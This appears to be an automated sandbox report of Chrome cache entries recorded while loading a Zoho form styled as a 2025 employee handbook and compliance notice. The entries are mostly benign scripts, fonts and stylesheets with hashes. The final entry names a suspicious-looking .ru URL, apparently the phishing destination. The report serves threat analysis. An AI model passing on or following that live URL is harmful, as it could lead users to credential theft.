Preview:	wOFF..............lH........................GDEF..M........././.GPOS..PH.._....(.../GSUB...@..(...UJ.U;.OS/2.......Y...`+.cmap...D..4K..e.5y.%glyf..a4...)....J'1.head...0...6...6,...hhea...h...!...$...[hmtx.......B..'.<<$.loca..G.......'...V.maxp........... ....name...`.......Z.5..post..!...,g..d..............~_.<..........."..........\|.j.?............x.c`d`.Z.7..A..../.2Y.@.d.......W...x.c`d`.............+...x.%... .E..G!Dw..ml...l.!....E.B,^N^.....3.+p..[..(...~p9p..2B.";>g...\...V[..x..;}.j...x...tU.....3....D@.".2.Y.$`(.C..m..S.@..S^.....D..6L/.b..6 /2.Q."U....R.....e......{c.1.K..[.Z.........}..Pj........e.....6..).#.?W.OBe..P\...n..`^.F....BV.......%....C.@.u.r.m..........<.#VO.Ls2....nF`.9.3.....b.......>[.a.>..I.V..Q...v.#.U.....4F..(..bo.Sgv.&.......k....k=...S......tF.9..fw.....U.V.q....d%YF..w....F...fY_R ..ae.Q.:...."..#....]X#...j1..$.U..Fu-6(..\|.<g<k...@>...y(}0....T.k.F...W0R/..IN...Wh.CZ"=.W.@TU..<.7.....o.7..W#n.._...h..2.;..F..R9...$.V

Chrome Cache Entry: 105

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 185600, version 0.0
Category:	downloaded
Size (bytes):	185600
Entropy (8bit):	7.996827937909781
Encrypted:	true
SSDEEP:
MD5:	BEA6283573E7738982AF22A51D1CC41F
SHA1:	B18E55C8C20E438554B26A4FCCB413B1D09CC9A9
SHA-256:	23D29854736B859B1B854235B38DEBFE3E05FD5340DDE28C8DEDBE1183A7CF3E
SHA-512:	C023DEE931DFA247EA29EC6D815E34CD08476C8A11624F1F6063182E8D19A77967007AD6DEB454AAA9F90ADB95595B3F3071C6AB992D39CC1B6730CC909835D0
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/webfonts/intermedium/font.woff
Preview:	wOFF..............o.........................GDEF..I........././.GPOS..L..._...-rL..GSUB...8..(...UJ.U;.OS/2.......Z...`+..jcmap...$..4K..e.5y.%glyf..a...........Ahead...0...6...6-...hhea...h...!...$....hmtx......."..'....loca..Gp......'...jcmaxp........... ....name..............0post...d..,i..d..n..........M{.D_.<..........."......'...\|.j..............x.c`d`.Z.7..A..../.d..."..3........x.c`d`...0..........)...x.c`a.a........6....2.f..p..H31.13.(...\..........!(.7.......\+.F00p.`Z...8.$.......x.t9.P..x...tU...........XJ.b]U.QAi.B.1AF.....B. ..0L...!....@h..$.6..A.D@F-B....x....{/....=7.@..a.z.Y.....o.........Z>:.D<r.m....{H4......j.1+..FY%."...pZ........Bj.Pf.a[..c...P&P.n..o....]'....y..8.t...G0.8..._b.)#Q...zW...m.y..e.$..?..}..G..+y...Zq..c..mYL6..<.2...2.....(0.......=....E.E.p}..x...\....1.........&+.j...w.3.@.E>a^+..z....)...H.J..-E..O~...(...P...c..lR..H...e).B.YY...P...<<......oW.."....}...........'.....p=.....v.1.*Z...u...u..Ci...aeV....j.....1.

Chrome Cache Entry: 107

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (17941), with no line terminators
Category:	downloaded
Size (bytes):	17941
Entropy (8bit):	4.915719930081868
Encrypted:	false
SSDEEP:
MD5:	972D2CEE263C403AB3CD7D4CCD60471E
SHA1:	18619A0D67B2266FE276DA4A6041699A5B47C185
SHA-256:	37AACEEF36CA412A813B124CFEA22E7A327BFF06F135931DBF08CFE7F093ED4B
SHA-512:	B43D51D1B4C17BDE09DBE907059D9B186801B112F684F6AB4A8ABE57372F737E98C3373C70484897DCA8BCF364286D4DB2C9FFD8506709D975970D276A35A3DF
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/css/fullpageformmobilemedia.972d2cee263c403ab3cd7d4ccd60471e.css
Preview:	@charset "UTF-8";@-webkit-viewport { width: device-width;}@-moz-viewport { width: device-width;}@-ms-viewport { width: device-width;}@-o-viewport { width: device-width;}@media only screen and (min-width: 0px) and (max-width:780px) { ..fieldtypeText input[ui_type="textbox"]~em.inputClearDiv:hover {....cursor: default;.}}@media only screen and (min-width:0px) and (max-width:768px) { ../*************************************. NameField (0-768).************************************/. ..ofSubformWrapper .zfNameContainer {..flex-direction: column;.}..ofSubformWrapper .zfNameContainer .nameCompLabelWrapper {..width: 100%;..margin-bottom: 15px;..margin-left: 0px;.}..rtl .ofSubformWrapper .zfNameContainer .nameCompLabelWrapper {..margin-right: 0px;.}}@media only screen and (min-width: 481px) and (max-width:768px) {../.Below 481px, '-' icon will be hidden between spans. ..From 481px to 768px, '-' icon will be made visible, along with meida query handling */ .zfPhoneUSA sp

Chrome Cache Entry: 108

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	153124
Entropy (8bit):	5.636632276041688
Encrypted:	false
SSDEEP:
MD5:	4C262D610219D4D89440EC5C6F6E3E67
SHA1:	F9320F4BBBFA7DCD76AD155487889E8C36ADBF9E
SHA-256:	C4F8F0E9EA64E2765BBD710EF760542CC98FF3388D27E3B1B33BAD83E1E2C329
SHA-512:	57699E311E9194BF60133083DA3471AE91F06A26B793028231C578AC0ABE08EBBA25AF8978DF3EC150AF28A557C9529C2BE56BC2C77AD232B3AA4CA264686011
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/js/formscommonlive.4c262d610219d4d89440ec5c6f6e3e67.js
Preview:	var ZFConstants={SAVE_RECORD_STATUS:1},ZFHttp={GET:"GET",POST:"POST",DELETE:"DELETE",PUT:"PUT"},ZFMimeType={APPLICATION_JSON:"application/json"},ZFFormField={ADDRESS:{MAP_INFO:"_Map_Info",COUNTRY:{KEY:"_Country"},STATE:{KEY:"_Region"},CITY:{KEY:"_City"},ADDRESS_LINE1:{KEY:"_AddressLine1"},ADDRESS_LINE2:{KEY:"_AddressLine2"}},NAME:{SALUTATION:{KEY:"_Salutation"}}},SystemGeneratedField={PAYMENT_AMOUNT:{LINK_NAME:"PaymentAmount"},ZF_ADDED_LATITUDE:{LINK_NAME:"zf_added_latitude"},ZF_ADDED_LONGITUDE:{LINK_NAME:"zf_added_longitude"},ADDED_LANGUAGE:{LINK_NAME:"ADDED_LANGUAGE"},VERIFY_PERMA:{LINK_NAME:"VERIFY_PERMA"},REFERRER_NAME:{LINK_NAME:"REFERRER_NAME"}},ZFFieldTypeConstants={SINGLE_LINE:1,MULTI_LINE:2,NUMBER:3,CURRENCY:4,DATE:5,TIME:6,NAME:7,ADDRESS:8,EMAIL:9,WEBSITE:10,PHONE:11,DROPDOWN:12,RADIO:13,CHECKBOX:14,MULTIPLE_CHOICE:15,DATETIME:16,SECTION:17,DECISION_BOX:18,FILE_UPLOAD:19,DECIMAL:20,RATING:21,HTML_TEXT:22,SLIDER:23,SIGNATURE:25,GEOLOCATION:26,FORMULA:27,UNIQUE_ID:28,IMAGE_CHOI

Chrome Cache Entry: 109

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65433)
Category:	dropped
Size (bytes):	992552
Entropy (8bit):	5.4061708449879875
Encrypted:	false
SSDEEP:
MD5:	48CA8D29DF26E8FEE4BF7E47A5610F30
SHA1:	9B80305F13875A092FA4553086B440203E2DF986
SHA-256:	E68241C21A14DE42106B511F42ED3D4B10090250E494FC73F9751844F8F1A2C1
SHA-512:	3E629D7EBE33FFC3FE5280E0E63DBE70E25BB5452CBA80126F1D681FD804779CD871BFD49AFFDD6EACA5E1FC9BD3AF7A31DFA040304C1C254D4F3245ADAFFECB
Malicious:	false
Reputation:	unknown
Preview:	// $Id: $./*. IMPORTANT NOTE: This compressed js file includes Zoho Forms Forms/Report live js.. */.function ZFLiveFormFocusHanderOnNavigation(actionType,pageNo){this.actionType=actionType,this.pageNo=pageNo}function ZFLiveFieldFocusHander(fieldElem,forError){this.fieldElem=fieldElem,this.isDisabledField=$(fieldElem).hasClass("fieldDisabled"),this.isFocusForError=void 0!==forError&&forError}function setFocusForElementThatCannotBeFocused(focusElem,callBackOnFocus,callBackFunctionParam){if(isSfChild(focusElem)){var scrollToViewElem=$(focusElem);if("livefield-elem"!=$(focusElem).attr("elname")){var closestFieldElem=$(focusElem).closest('[elname="livefield-elem"]');$(closestFieldElem).length>0&&(scrollToViewElem=closestFieldElem)}$(scrollToViewElem)[0].scrollIntoView({behavior:"auto",block:"center"})}if(isEmbeddedForm()&&(isMobileBrowser()\|\|isSafari()))setTimeout(function(){var hiddenInput=$("<input />");$(hiddenInput).attr("type","text"),$(hiddenInput).attr("style","position: absolute;

Chrome Cache Entry: 112

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (12300)
Category:	downloaded
Size (bytes):	57788
Entropy (8bit):	5.487569889131067
Encrypted:	false
SSDEEP:
MD5:	DE5EFCB451E4AC4A6FBF4B5A38633E4B
SHA1:	26D72F9C846700A3DDEA898A9E014D5E46559A7D
SHA-256:	B2743D9753321202EB9FB893B9A5095F3967E99483917A790ECA24DE5BDB98A3
SHA-512:	57701A4730FCE88A12E4C0F76857BDDCD573BF0E69E76159FF743D540AD636C1AB6473CBE0EC4948B819D909C91EFFA1773D635C0A7230E03C94E7D95C0042F1
Malicious:	false
Reputation:	unknown
URL:	https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM
Preview:	.<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> .<meta http-equiv="x-ua-compatible" content="IE=edge" />.<html xmlns="http://www.w3.org/1999/xhtml"><head>.<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="MobileOptimized" content="width"><meta name="HandheldFriendly" content="true"><meta http-equiv="cleartype" content="on">. To disallow zoom in mobile browser, maximum-scale to 1 in form live page. -->.<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=1"/>.<meta property="og:title" content="The 2025 Employee Handbook And Corporate Compliance For All Employees" /><meta property="og:type" content="website" /><meta property="og:url" content="https://forms.zohopublic.com/philhdr1/form/2025EmployeesHandbook/formperma/GrVUygSKNf4o4V5HIfB_T9v6K96eG8oZnr1iSlS9nJM" />.<meta property="og:desc

Chrome Cache Entry: 113

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48120)
Category:	downloaded
Size (bytes):	48121
Entropy (8bit):	5.399559475473033
Encrypted:	false
SSDEEP:
MD5:	240198B7133FAF43160703113AA2F601
SHA1:	AB61FEDDAE321268BD84839B8908E611E9300AFD
SHA-256:	401258036014BCC401F7894FD5ACC7D6BA31CDF3162C1D55EBB219D908BCF496
SHA-512:	F49972AE131DE7EE33D86472471237580A1055C2E086BE0266E7171CB9C423A99145B006CF5D25E25288E64440430E43782E976BF7EC117BDAA52E5D370AB139
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/g/672eb098a9f3/api.js
Preview:	"use strict";(function(){function Bt(e,t,a,o,c,l,g){try{var h=e[l](g),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function jt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);function g(s){Bt(l,o,c,g,h,"next",s)}function h(s){Bt(l,o,c,g,h,"throw",s)}g(void 0)})}}function D(e,t){return t!=null&&typeof Symbol!="undefined"&&t[Symbol.hasInstance]?!!t[Symbol.hasInstance](e):D(e,t)}function Ue(e,t,a){return t in e?Object.defineProperty(e,t,{value:a,enumerable:!0,configurable:!0,writable:!0}):e[t]=a,e}function De(e){for(var t=1;t<arguments.length;t++){var a=arguments[t]!=null?arguments[t]:{},o=Object.keys(a);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(a).filter(function(c){return Object.getOwnPropertyDescriptor(a,c).enumerable}))),o.forEach(function(c){Ue(e,c,a[c])})}return e}function Sr(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 116

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 175648, version 0.0
Category:	downloaded
Size (bytes):	175648
Entropy (8bit):	7.996271601919218
Encrypted:	true
SSDEEP:
MD5:	17D8DA6B34796DDE1DBA5DD9006A745F
SHA1:	612242DEC204126762922AAB9D36CC9B61A5F26B
SHA-256:	BBFEED460987EE04BB702883DC457DE25CF1E000BD18E36EAD5E2C64BB5B140C
SHA-512:	D69A447C8AAF8B146F67CC6E2C5F1BE56720F6239E454CEE04A03593A47A0EDDF1DE56BEB53B04B289948BEE6FCFD7551AC6E9E71D15613324BEDE4EDBF8657D
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/webfonts/interregular/font.woff
Preview:	wOFF....... ......Lp........................GDEF..+........././.GPOS......V....F....GSUB...X..(...UJ.U;.OS/2.......Z...`..bcmap......4K..e.5y.%glyf..^..........1r.head...0...6...6....hhea...h...!...$....hmtx..........'...Ndloca..Dd......'.....maxp........... ....name...........r.k.}post...x..,i..d..d.............r_.<.....................\|.j..............x.c`d`.Z.7..A..../_d..."..3..W.....x.c`d`...0..........)...x.c`a.c........6....2.f..p..H31.23.(...\..........!(.7.......\+.F00p.`Z...8.$.......x.O.....x..?H.]...$o..s....a..EXRXXX..E..X.....,,d..)."K..),. ..........\|."C...A..RX.`!.,)..5....9.D.....w...~<..{.>.yNL.e ..eY.F..}..]...a...5.~.....s2xBGJ..4..@. ...,{...$..E.Lx..R.Jb..\}EY./_H?Q...?.k.H..F...p!.A.f../.V...J9.r.W.9.)...D.%f...#.#..A.'.L..%......t3.t.....n..J.DJ.\|..~.....(...z.....l..)x....w..[....:..d.-.,]oM..=..4...g.q....n)..)....._..rz....F..\.A....^..z.X..G.Ndj......?.^z.`^..&...g./..&..O...M....d5.\|M..)r..7I.Y.[R..q.^...a?Y...L.O5.n*.,.V!O..J.vS.

Chrome Cache Entry: 117

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	15086
Entropy (8bit):	4.295627021172907
Encrypted:	false
SSDEEP:
MD5:	F337BA4DF49F92F0A9AF92E5D6E998BF
SHA1:	084B93B4EEA61FDE3088C940C26B289E68EF7E18
SHA-256:	F7E3C6210F6CF6CA4C4036F013E9A8C10248968B125AA0F9FAAE6F4DDF2E3D28
SHA-512:	F5FCEFB408FF0ECC52B751B21BDE5DEAF3849ECA1D8A6C804F398862935D85B5EE9EC72447703118CCA99ABA65A85302274B0790EB45555FEF048E6E2D4FEC1F
Malicious:	false
Reputation:	unknown
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$.................................................T...................................^...w...........................................................................................T...................................................-...................................................................................................................................................-.......................................:...........................................................................................................................................................:.........................................................i...g...g...f...}...................m...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...g...i.......................................................................X...F...E...E...E...E...D.....z.........p.=.C...E...E...E...E...E...E...E...E...E...E...E...E...E...E...E.

Chrome Cache Entry: 119

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (64217), with no line terminators
Category:	downloaded
Size (bytes):	74461
Entropy (8bit):	5.37233311629974
Encrypted:	false
SSDEEP:
MD5:	B9384DCADF2BC7B3816527891DF599F6
SHA1:	CED56B595561E2F4B2F8E8790F4BB09D3603D1D8
SHA-256:	9D04AB031D6B175C7A9394B5BE9D26010788D65A41A7A40595D01A6F2941E77A
SHA-512:	B77C28EE5E6BFB8C02A2FC1F1F0E40AE578C5502C5DEF8F9295025F26FC5375331C8D59877921E469021CFC7347E093F38B39CC79FD6729AD88BCE6CF5B5EED5
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/js/formsselect.b9384dcadf2bc7b3816527891df599f6.js
Preview:	!function(a){"function"==typeof define&&define.amd?define(["jquery"],a):a("object"==typeof exports?require("jquery"):jQuery)}(function(a){var b=function(){if(a&&a.fn&&a.fn.select2&&a.fn.select2.amd)var b=a.fn.select2.amd;var c;return function(){var a,c,d;b&&b.requirejs\|\|(b?c=b:b={},function(b){function e(a,b){return u.call(a,b)}function f(a,b){var c,d,e,f,g,h,i,j,k,l,m,n=b&&b.split("/"),o=s.map,p=o&&o["*"]\|\|{};if(a&&"."===a.charAt(0))if(b){for(g=(a=a.split("/")).length-1,s.nodeIdCompat&&w.test(a[g])&&(a[g]=a[g].replace(w,"")),a=n.slice(0,n.length-1).concat(a),k=0;k<a.length;k+=1)if("."===(m=a[k]))a.splice(k,1),k-=1;else if(".."===m){if(1===k&&(".."===a[2]\|\|".."===a[0]))break;k>0&&(a.splice(k-1,2),k-=2)}a=a.join("/")}else 0===a.indexOf("./")&&(a=a.substring(2));if((n\|\|p)&&o){for(k=(c=a.split("/")).length;k>0;k-=1){if(d=c.slice(0,k).join("/"),n)for(l=n.length;l>0;l-=1)if((e=o[n.slice(0,l).join("/")])&&(e=e[d])){f=e,h=k;break}if(f)break;!i&&p&&p[d]&&(i=p[d],j=k)}!f&&i&&(f=i,h=j),f&&(c.spl

Chrome Cache Entry: 122

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	135505
Entropy (8bit):	5.284419983090413
Encrypted:	false
SSDEEP:
MD5:	930D967635E49169A36E5F4987D9527D
SHA1:	81DEF149555A2E8422C6DB8CF1F65171EC659154
SHA-256:	D5A5D3232463A25F85D10F82FB00D56F7D3D634C8B2E8657C141C719CCF7C77F
SHA-512:	C277EE7A581A2F649193AE213A28FE30D64160F1F45A8EDAC1040171BF803B1FAE372694450074AD1A6A4DB5272B5634FD441DF55D7A793789803BE50CDE4EAE
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/js/fullpageformlive.930d967635e49169a36e5f4987d9527d.js
Preview:	var ZFFullPageForm={menuItemsSpeed:350,inputClearAnimationSpeed:500,errorHideTimeOut:4e3,errorSlideDownSpeed:100,errorSlideUpSpeed:200},ZFPageTitle={},ZFPageAnimation={animType:1,pageFadeInSpeed:600,footerFadeInSpeed:600,pageFadeOutSpeed:400,footerFadeOutSpeed:400,pageLoadSpeed:100,fieldFadeOutSpeed:500,fieldFadeInSpeed:800,pageNavbarAnimTime:400};function init(isFormLoad){ZFFullPageForm.isCssHasSupported=isCssSelectorSupportedInBrowser("div:has(input)"),floatingFormComponentsHandler(),checkAndAddMiniContClass(),ZFLive.isFormPdf\|\|(initPageHeader(isFormLoad),window.addEventListener("unload",function(e){window.scrollTo(0,0)}),isFormLoad&&(setMaxWidthForDescriptionFieldImages($("div[elname=livefield-elem][reltype=parent]:visible:first").width()),bindWindowResizeEvent(),bindEventForClearIconShowOrHide($(ZFLive.formFormFieldsOuterWrapper)),showFormFirstPageComponents(),bindEvntInFirstPageSignatureComp($("div[elname=formBodyULName][page_no=1]"))))}function showFormFirstPageComponents(){$("di

Chrome Cache Entry: 123

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	399500
Entropy (8bit):	5.239738458435766
Encrypted:	false
SSDEEP:
MD5:	8F7FCFB5F86F801426DAD6CD0C254947
SHA1:	1DFF695687E6BE4F8426F60AD3AF9289A6E5486E
SHA-256:	D470670D860D232937D6433268C701BE016C90E8EC91652039D0FEB2A2A16231
SHA-512:	7CC00D24639AB2FAAD21F19DD9FFA2ABD69BDA594DF907CA2D09B48784273EBF472A5B03943233CF7AAD3B1D97C7B1225F7EF3270F28F05EBD46D27AE738D541
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/css/fullpageformlive.8f7fcfb5f86f801426dad6cd0c254947.css
Preview:	@charset "UTF-8";.ui-widget-content{.background-color:#ffffff;.background-image:none;.border:none;..-webkit-border-radius:2px;.-moz-border-radius:2px;.border-radius:2px;}.ui-corner-all{.-webkit-border-radius:2px;.-moz-border-radius:2px;.border-radius:2px;}.ui-datepicker-month:after, .ui-datepicker-month:before { top: 38%; border: solid transparent; content: " "; height: 0; width: 0; position: absolute; pointer-events: none; right: 10px;}.ui-datepicker-month:before { border-color: rgba(255, 255, 255, 0); border-top-color: #444444; border-width: 5px; margin-right: -5px;}.ui-datepicker-month:after { border-color: rgba(255, 255, 255, 0); border-top-color: #fff; border-width: 3px; margin-right: -3px;}.ui-widget-header{.background-color:#ffffff;.background-image:none;.border:none;.height:29px;}.ui-state-default, .ui-widget-content .ui-state-default, .ui-widget-header .ui-state-default{.background-color:#ffffff;..background-image:none;.color:#76

Chrome Cache Entry: 124

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:
MD5:	46DF3E5E2D15256CA16616EBFDA5427F
SHA1:	BE8F9B307E458075DA0D43585A05F1D451469182
SHA-256:	AF3248D0B278571EFF9A22F8ED1CEB54B70D202B44FD70ECA4CA13A5771CECC3
SHA-512:	88FBCC0A92317A0BADE7D4B72C023A16792F3728443075BF4B1767C8A55258836B54D56B24EABE36AE4EF240F796B58B8F1EA10C7E3C146BDE89882FC9ADE302
Malicious:	false
Reputation:	unknown
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSEAlaegyzRRGBcBIFDZFhlU4=?alt=proto
Preview:	CgkKBw2RYZVOGgA=

Chrome Cache Entry: 126

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	330235
Entropy (8bit):	5.207902711375127
Encrypted:	false
SSDEEP:
MD5:	44E2E575A610118280A724AE6837B339
SHA1:	0177B8786D2719A38849E9FFCAC77C906C9958F9
SHA-256:	E766BA241EF9FF67445D35A496D90D301CFFEEE2A5B881DEA550074F363A0EDC
SHA-512:	3C024ABAC4B4479A591E864A745987B0962C8E39B78A78975A60D9E8E9A3FDCBF9709995F2C74E53B0A1F9A9108129A07CFC8343FCD5D5E859388843CF74790A
Malicious:	false
Reputation:	unknown
Preview:	!function(factory){"function"==typeof define&&define.amd?define(["jquery"],factory):factory(jQuery)}(function($){var uuid,removeData,eventType,orig;function focusable(element,isTabIndexNotNaN){var map,mapName,img,nodeName=element.nodeName.toLowerCase();return"area"===nodeName?(mapName=(map=element.parentNode).name,!(!element.href\|\|!mapName\|\|"map"!==map.nodeName.toLowerCase())&&(!!(img=$("img[usemap='#"+mapName+"']")[0])&&visible(img))):(/^(input\|select\|textarea\|button\|object)$/.test(nodeName)?!element.disabled:"a"===nodeName&&element.href\|\|isTabIndexNotNaN)&&visible(element)}function visible(element){return $.expr.filters.visible(element)&&!$(element).parents().addBack().filter(function(){return"hidden"===$.css(this,"visibility")}).length}$.ui=$.ui\|\|{},$.extend($.ui,{version:"1.11.4",keyCode:{BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,LEFT:37,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SPACE:32,TAB:9,UP:38}}),$.fn.extend({scrollParent:function(includeHidd

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	dropped
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	unknown
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65534), with no line terminators
Category:	downloaded
Size (bytes):	89265
Entropy (8bit):	5.289321700014546
Encrypted:	false
SSDEEP:
MD5:	5598E1E583C1D09FC270B76B7BC87FED
SHA1:	44876173255BCAD92968AA09D26EB7361BD56369
SHA-256:	E26F12C5C9B90FCACCE612148FBBDD171302587188E66FF2511F8D1582D91A6E
SHA-512:	7477B0F707BAC1A59712A1EC7C3C8F2694D66CFDD46C02CAD1B48C35DE7697CEE5F30C391B1D54688C4A5575DE1D9D4BD23042CB24F1083167EDA7B9693FABF0
Malicious:	false
Reputation:	unknown
URL:	https://static.zohocdn.com/forms/js/formstplivejs.5598e1e583c1d09fc270b76b7bc87fed.js
Preview:	!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(C,e){"use strict";var t=[],r=Object.getPrototypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,v=n.hasOwnProperty,a=v.toString,l=a.call(Object),y={},m=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},x=function(e){return null!=e&&e===e.window},E=C.document,c={type:!0,src:!0,nonce:!0,noModule:!0};function b(e,t,n){var r,i,o=(n=n\|\|E).createElement("script");if(o.text=e,t)for(r in c)(i=t[r]\|\|t.getAttribute&&t.getAttribute(r))&&o.setAttribute(r,i);n.head.appendChild(o).parentNode.removeChild(o)}function w(e){return null==e?e+"":"object"==typeof e\|\|"function"==typeof e?n[o.call(e)]\|\|"object":typeof e}var f="3.5.1",

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 26 x 97, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.002585360278503
Encrypted:	false
SSDEEP:
MD5:	1F26E1A4C8F6BBC1E5B88B1679CDB2BC
SHA1:	0FABE92FC4F49B6AA8B3B09F6E9221192812158B
SHA-256:	6DEB601C4D41BF7E021632E83DD949364FD1FE59867A4A6D16BD93ADEA9156D6
SHA-512:	E245B3B024E760AB8F7FB912F3B44C4171001EDBB99CA8A5A196837B400C4350CB19D1260CE108B5CDE61866BE7C75F4AA5B5807C94C5366B4BD39FD045003F5
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......a.....G.&.....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (7549), with CRLF line terminators
Category:	downloaded
Size (bytes):	20017
Entropy (8bit):	5.871094263612563
Encrypted:	false
SSDEEP:
MD5:	DF022577D5AF485040459113C9D9E623
SHA1:	A2A6E9B21838C8CA3753DF1D15DACF93FC6286AE
SHA-256:	EEA7C5336F52C4772A8146FEE7AB539ACFD9A902C0E873E1961212770C2F64FC
SHA-512:	AE0F396F0B61E0DCA10E82D7F80E4B49EF161050095674F035B153322604DC9CFFFCD3ABF316C13BFD5E07BBEDE1A673649BD6F866B8998A25770E56F81CBCAD
Malicious:	false
Reputation:	unknown
URL:	https://dmk.erbirkinarinf.ru/ufPlTO2Y/
